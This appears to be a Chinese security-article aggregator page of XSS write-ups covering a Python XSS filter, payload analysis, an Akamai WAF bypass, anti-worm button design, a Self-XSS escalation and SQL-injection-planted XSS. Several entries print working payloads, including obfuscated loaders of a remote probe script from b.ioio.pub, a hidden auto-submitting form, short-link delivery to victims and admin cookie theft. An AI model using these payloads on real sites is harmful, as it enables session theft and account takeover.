python富文本XSS过滤器 安全文章

python富文本XSS过滤器

python做web开发当今已经逐渐成为主流之一,但相关的一些第三方模块和库还没有php和node.js多。比如XSS过滤组件,PHP下有著名的“HTML Purifier”(http://htmlpurifier.org/ ),还有非著名过滤组件“XssHtml”(http://phith0n.github.io/XssHtml ),当然后者是我自己开发的。python的pip下也可以安装一款名为“html-purifier”的库,但此purifier和php下的就大不相同了。这个库负责将html中,白名单以外的标签和属性过滤掉。注意,他并不是过滤XSS的,只是过滤不在白名单内的标签和属性。也就是说,类似<a href="javascript:xxx">等javascript是不会被过滤的。所以我只好自己开发了一个python xss filter,用在自己以后做的python项目中。说一下具体实现原理。解析HTML解析HTML,使用的是python自带的HTMLParser类。在python2中,名字叫HTMLParser,在python3中叫html.parser。使用HTMLParser,需要自己的类继承HTMLParser,并实现其中的handle_starttag、handle_startendtag、handle_endtag、handle_data等方法。如handle_starttag方法,是在进入一个标签的时候被调用的。我们就可以在实现这个方法的时候,就可以获得此时正在处理的标签tag,和所有属性attrs。我们就可以检查tag、attrs是否在白名单中,并对其中特殊的一些标签和属性做特殊处理,如下:链接特殊处理有些属性是可以用javascript伪协议来执行javascript代码的,如a的href,embed的src,所以需要对其进行特殊处理:判断是否以http|https|ftp://开头,如果不是则强制在前面加上http://通过这个方式,对抗潜在的XSS注入。embed特殊处理embed是嵌入swf等媒体文件的标签,理论上有时候我们的富文本编辑器是允许插入flash的。但我们需要保证flash内不能执行任意javascript代码,也不能让他发出一些HTTP请求(容易造成CSRF攻击)。所以强制设置embed标签的allowscriptaccess=never,allownetworking=none:拼接标签和属性的时候,防止双引号越出,成为新标签我曾经在Roundcube Webmail中找到一个XSS漏洞(CVE-2015-1433),导致原因就是因为白名单检测完毕后再拼接html标签和属性的时候没有过滤双引号,导致属性值越出,变成一个新的属性名,导致XSS。所以我这里使用self.__htmlspecialchars处理属性值,防止越出:使用也比较方便,最简单的demo如下: import pxfilter parser = pxfilter.XssHtml() parser.feed('<html code>') parser.close() html = parser.getHtml() print html再根据源码中的说明进行修改即可。github项目地址:https://github.com/phith0n/python-xss-filter自己用web.py搭了个demo,欢迎测试、提交issues:http://python-xss-filter.leavesongs.com/ ,功能上、安全上都还需要大家给些建议。 本文始发于微信公众号(代码审计):python富文本XSS过滤器
阅读全文
XSS漏洞分析 安全文章

XSS漏洞分析

什么是XSS跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。XSS可以干什么盗取管理员Cookie或用户CookieXSS Worm挂马(水坑攻击)有局限性的键盘记录XSS分类放射性XSS存储型XSSDOM XSSflash XSSmXSS反射(非持久)型XSS发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行这个过程就像一次反射,所以命名为反射性XSS123456xss.php<?php     echo $_GET?>#提交/xss.php?x=<script>alert(1)</script>服务端解析式,echo就会完整的输出<script>alert(1)</script>到响应体中,然后浏览器解析执行触发弹窗储存(持久)型XSS储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击储存性XSS的攻击是最隐蔽的1#eg:http://www.nfpeople.com/user.php?id=21839XSS是如何利用的payload(有效的攻击代码)1234567891011<script src='http://b.ioio.pub/xss/probe.js'></script> <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";> <svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js> <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47,112,114,111,98,101,46,106,115)) >修复对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。 本文始发于微信公众号(飓风网络安全):XSS漏洞分析
阅读全文
如何在Shopify中找到大量XSS漏洞 安全文章

如何在Shopify中找到大量XSS漏洞

XSS攻击XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 如何在Shopify中找到大量XSS漏洞1080P超清版公众号平台本身会对素材进行二次压缩,会导致画面出现不清晰等情况。如有需要查看超清1080P版视频,可以选用以下2种方式进行查看。国内使用腾讯视频做为视频内容存储点,可自定义选择超清1080P。链接地址:https://v.qq.com/x/page/q3271a2lb38.html如果腾讯视频访问出现异常或页面不存在等,可以访问国外Youtube站点进行观看。国外站点作为备用站点也支持超清1080P进行观看任意两种方式皆可选择。国外备用视频站点:链接地址:https://www.youtube.com/watch?v=wFOnw92L2q0其他说明本视频基于直播内容进行了剪辑和优化,去除多余杂音及跳帧画面添加片头增强舒适度,提高观赏性。后续会更新更多技术、娱乐、生活方面的视频及内容,如有其他需求或建议请发送E-mail一起交流,一般看到会及时回复~备注:该内容仅做技术交流和内容备存!!!备注:该内容仅做技术交流和内容备存!!! 本文始发于微信公众号(小生观察室):如何在Shopify中找到大量XSS漏洞
阅读全文
XSS Akami Waf绕过 安全文章

XSS Akami Waf绕过

使用HTTP参数污染和Double Url编码在重定向参数中反映的XSS Akami Waf绕行:/login?ReturnUrl=javascript:1&ReturnUrl=%2561%256c%2565%2572%2574%2528%2564%256f%2563%2575%256d%2565%256e%2574%252e%2564%256f%256d%2561%2569%256e%2529 本文始发于微信公众号(Khan安全攻防实验室):XSS Akami Waf绕过
阅读全文
如何保护网页按钮不被XSS自动点击 安全文章

如何保护网页按钮不被XSS自动点击

点击上方蓝字可以订阅哦来源:Freebuf.COM前言XSS 自动点按钮有什么危害?在社交网络里,很多操作都是通过点击按钮发起的,例如发表留言。假如留言系统有 XSS 漏洞,用户中招后 XSS 除了攻击之外,还能进行传播 —— 它能自动填入留言内容,并点击发表按钮,即可发出带有恶意代码的留言。好友看了中招后,又传播给他们的好友。。。从而形成蠕虫扩散。那么,有没有一种机制,让「发表留言」必须通过用户的「真实点击」按钮才能完成,而无法通过脚本自动实现?这样就能减缓蠕虫传播速度了。实现这个想法听起来好像不可行。如果发表留言需要带上用户行为信息,那么 XSS 完全可以伪造一份行为数据,后端根本无法识别。除非,用户在点击按钮时会产生一个「特殊数据」,让后端校验它。但是,XSS 也可以直接调用按钮元素的 click 方法,这样效果和用户点击仍然一样。后端仍无法识别,是脚本点的,还是用户点的。这么看来,我们只能保护好这个「按钮元素」,让它没法被 XSS 访问到。例如,放在一个不同源的 iframe 里,这样就和 XSS 所在的环境隔离了!不过,这样还不够。假如 XSS 破解了这个「特殊数据」的生成规则,那么即可自己伪造一个,然后直接调用 HTTP 接口发表留言。所以,我们得找一个不可伪造的硬标识。事实上,有个很简单的办法:我们干脆让 HTTP 请求也通过 iframe 发送。这样,后端通过 referer 即可检测请求是否为 iframe 发起的。毕竟,XSS 是无法伪造 referer 的!演示Demo: http://www.etherdream.com/FunnyScript/anti-xssworm/注意:这个案例不是看能不能注入 XSS,而是看能不能通过当前页面的 JS 自动发留言!另外,通过第三方服务器发表是不算的。这里为简单,省略了登录态;真实场合下,会话 Cookie 是 HttpOnly 的,无法被 JS 获取到,也就无法让第三方服务器代替发表。细节:1. 使用者加载 safebutton.js,引入 SafeButton 类2. 使用者实例化 SafeButton 对象 A,创建出一个不同源的 iframe 作为按钮界面3. 用户点击 iframe 按钮后,内部变量 S 置为 true,同时将点击消息告知主页面(postMessage)4. 主页面收到消息后,让 A 产生 onclick 事件5. 使用者将 HTTP 请求数据,通过 A 的 send 方法扔给 iframe6. iframe 校验内部变量 S:若为 true,则将数据通过 AJAX 发送;否则放弃7. 服务器校验 referer:若为 iframe 的地址,则继续业务逻辑;否则放弃8. iframe 收到 AJAX 返回后,将结果扔给主页面9. A 产生 onreceive 事件,其中包含 HTTP 返回结果其中 No.6 的步骤最为关键。正是这一步,使得未经用户点击,XSS 强制扔给 iframe 的消息变得无效!## 缺陷当然,这个方案阻挡不了点击劫持 —— XSS 可以把 iframe 元素放大至整个页面,并设置全透明。这样用户只要在页面的任何位置点一下,iframe 的 S 状态就变成 true 了,于是就能绕过 No.6。结尾当然,安全防御有胜于无。并且该方案的改造成本也不是很大,后端只是增加一个 referer 判断而已;前端也只需改造个别按钮,例如发帖按钮,像点赞这种按钮就没必要保护了。 本文始发于微信公众号(零组攻防实验室):如何保护网页按钮不被XSS自动点击
阅读全文
XSS 挑战 安全文章

XSS 挑战

前言看到一篇有趣的帖子,是Gareth Heyes分享的一个有趣的xss 挑战,帖子的内容如下:<script>function solve(obj, property){   if(typeof obj === 'undefined') {       obj.innerHTML = '<img src=1 onerror="alert(`You win`)">';   } else {       alert('You must try harder than that.');   }}</script><div id=x></div>挑战目的需要绕过限制,触发弹窗初步判断在这个挑战中有一个接收器--inner HTML,innerHTML 属性用于设置或返回指定标签之间的 HTML 内容。简单理解就是获取对象的内容或者向对象插入内容,当obj的类型为定义时,才能进入if 判断,我们才能制定属性的innerHTML设置为xss负载ok,到这一步大概思路就有了,如何传入一个(obj,property),才能弹窗寻找类型是undefined的对象console.log(typeof 42);// expected output: "number"console.log(typeof 'blubber');// expected output: "string"console.log(typeof true);// expected output: "boolean"console.log(typeof undeclaredVariable);// expected output: "undefined"var arr = new Array(); // Array类型console.log(typeof arr);var nul =null; // 特殊地console.log(typeof nul);var obj = new Object(); // Object 类型console.log(typeof obj);var arr2 = ; // 字面数字的数组console.log(typeof arr2);function Person(name){// 自定义对象   this.name =name;}var stu = new Person();console.log(typeof stu);// expected output: "object"var fn = function(){};console.log(typeof fn);//...
阅读全文
一枚进击中的Self-XSS 安全文章

一枚进击中的Self-XSS

目录反射型 Self-XSSPOST 反射型 XSSGET 反射型 XSS反射型 Self-XSS开局登录框随机输入,然后burp抓包POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1return_url=&account=x&password=x&login=发现一枚比较"陌生"的参数return_urlfuzz一波得到payload"><script>alert(2021)</script>即POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1return_url="><script>alert(2021)</script>&account=x&password=x&login=响应如下成功xss 自己但总不能一枚self-xss就结束了吧?POST-反射型 XSSF12, 查看源码构造post表单xssPost.html:<html> <body>    <form action="http://www.xxx.com/membership_login.asp" method="POST"> <input type="hidden" name="return_url" value=""><script>alert(2021)</script>" /> <input type="hidden" name="account" value="x" /> <input type="hidden" name="password" value="x" /> <input type="hidden" name="login" value="" /> <input type="submit" value="Submit request" /> </form> </body></html>诱导目标访问这个html文件,触发如下:如果是在日常攻防演练中,可以将该html部署在vps, 然后生成短链接后再进行投递,如:起一个web服务生成短链接然后模拟投递该短链接(邮箱/QQ群/微信群等)成功触发虽然,针对POST 型XSS的利用已经较为成熟,但是如果能进化为GET 型XSS自然最好。GET-反射型XSS初始登录时的数据如下POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1return_url=&account=x&password=x&login=右键,改变请求方式GET 请求包GET /membership_login.asp?return_url="><script>alert(2021)</script>&account=x&password=x&login= HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1响应如下成功弹窗常规利用同POST 型XSS一样,将携带payload的链接丢短链接在线生成网站然后将生成的链接投递即可,触发如下: 本文始发于微信公众号(don9sec):一枚进击中的Self-XSS
阅读全文
【奇技淫巧】当 sql inject 遇上 xss 安全文章

【奇技淫巧】当 sql inject 遇上 xss

当注入无法获取后台地址和解密不了hash可以用这招,前提是注入点能够  update  或者  insert  数据,直接插入  xss代码(不会有任何过滤) 到后台有可能显示的地方,比如留言、消息、文章等等          一个    case:         目标站找到个隐蔽的 mssql盲注,但是找不到后台地址          win下乱码    换到bt来,找了好久没找到留言板  却找到个极品的地方,这个系统的菜单全部是放在库里面的         果断插入菜单       第二天起来     成功收到信息,直接cookie进后台,爆菊  xss利用的一个小tips,各种大牛勿喷哈 本文始发于微信公众号(T00ls):【奇技淫巧】当 sql inject 遇上 xss
阅读全文
武装你的浏览器-自用火狐插件推荐 安全工具

武装你的浏览器-自用火狐插件推荐

Easy XSS直接嵌套在鼠标右键里,然后在盲打XSS的时候直接右键点击,ctrl+v就可以打了,只是payloads较少,不过对于SRC来说够用了EditThisCookie2添加或者删除cookie的插件,比如存储XSS过来的cookie这里就可以直接改了FoxyProxy 标准版小狐狸代理,一键切换BURP和XRAY 美滋滋Hack-Tools有什么回比Hack-Tools,更好用的呢,一些时候的payloads打出来作为备忘录,或者生成一些反弹shell 的命令,妈妈再也不用担心我记忆力不好了Max HacKBar神器,免费版,不用多说了其实还有一款叫做HackBar V2,我反正都用或者来回换着来Shodan有时候会出一些端口,可以帮助咱快速判断站点User-Agent Switcher and Manager更换UA,有些站只能谷歌访问,那么你可以尝试一下换个UA ,比如换成Top securityWappalyzer判断网站的cms和中间件,我怎么感觉还是老版本的惯用新版本的误报有点高啊以上的插件都能在火狐的市场中找到哦转载于:渗透云笔记 原文地址:https://mp.weixin.qq.com/s/OZpvVeALCTrKdAyvfiiTMA觉得有用的话可以关注、分享一下,谢谢啦。 本文始发于微信公众号(Top security):武装你的浏览器-自用火狐插件推荐
阅读全文
新一代XSS平台(送邀请码) 安全工具

新一代XSS平台(送邀请码)

0x01 简介新一代XSS平台,即新一代跨站脚本攻击平台(Next Generation Cross-Site Scripting Attack Platform),简称NG XPT,是一款抛弃传统XSS攻击概念的高效实时的跨站脚本攻击平台。本项目采用golang+echo+vue进行开发。0x02 对比我们平台优势交互式的操作模块实时生效多节点分布式自动无人值守现有平台痛点目前已有平台的利用链接都是一次性的,对方中招后加载相关代码,在回传至平台,期间如果想变更模块需要对方重新中招,不能持久化,模块配置也不灵活。0x03 展示可视化多节点交互式实时性结果展示0x04 文档GitHub Wiki:https://github.com/Zer0ne-Sec/ngxpt/wiki提交反馈如有好的建议,以及发现BUG、漏洞等。GitHub Issues:https://github.com/Zer0ne-Sec/ngxpt/issues 也可以使用平台内的反馈功能。线上地址https://ngxpt.co/目前采用邀请机制。免责声明未经事先双方同意,使用ngxpt攻击目标是非法的。本平台仅供授权安全测试以及安全研究使用。福利环节点击下方文章,文章最下方留言,凡上榜者随机送100个邀请码!https://mp.weixin.qq.com/s/1swFig0bKibSyzuhXzixeg扫描下方二维码加入星球学习加入后邀请你进入内部微信群,内部微信群永久有效!  来和5000+位同学一起加入星球学习吧! 本文始发于微信公众号(Ms08067安全实验室):新一代XSS平台(送邀请码)
阅读全文
社工“猥琐”成功XSS某网站 安全文章

社工“猥琐”成功XSS某网站

没什么技术含量,纯属来求金币的因为需求,对一个网站进行检测各种扫描无果于是开始进行各种xss注册会员开始问答处~~~~~~~不会饶,还请大牛赐教!!不会饶,还请大牛赐教!!最后各种翻,各种翻啊~~!!然后就看到了哈哈哈,很多获取IP的方式都能弄,包括ip38那就是我们的大杀器然后退出,再登录一遍——————————————————OK目地达到 本文始发于微信公众号(T00ls):社工“猥琐”成功XSS某网站
阅读全文
万物皆可盘之短信订阅XSS大法 安全文章

万物皆可盘之短信订阅XSS大法

仅供技术讨论交流,勿用于非法用途年底了诈骗短信越来越多,推广,垃圾短信也越来越多今天给大家带来一个XSS打短信平台的案例短信中有回复TD退订的这种一般你发生字符串他会检测TD两个关键字所以有些过滤不严的就造成了XSS攻击盘他批量盘他然后就盘到了大佬们玩的不亦乐乎快点玩起来吧!关于圈子社区:圈子社区是一个封闭的APT从业者交流社区。我们专注实战,崇尚技术,欢迎更多志同道合的小伙伴加入!如果你也是实战派,请关注我们。社区地址:(请使用https访问)https://www.secquan.org 本文始发于微信公众号(Secquan圈子社区):万物皆可盘之短信订阅XSS大法
阅读全文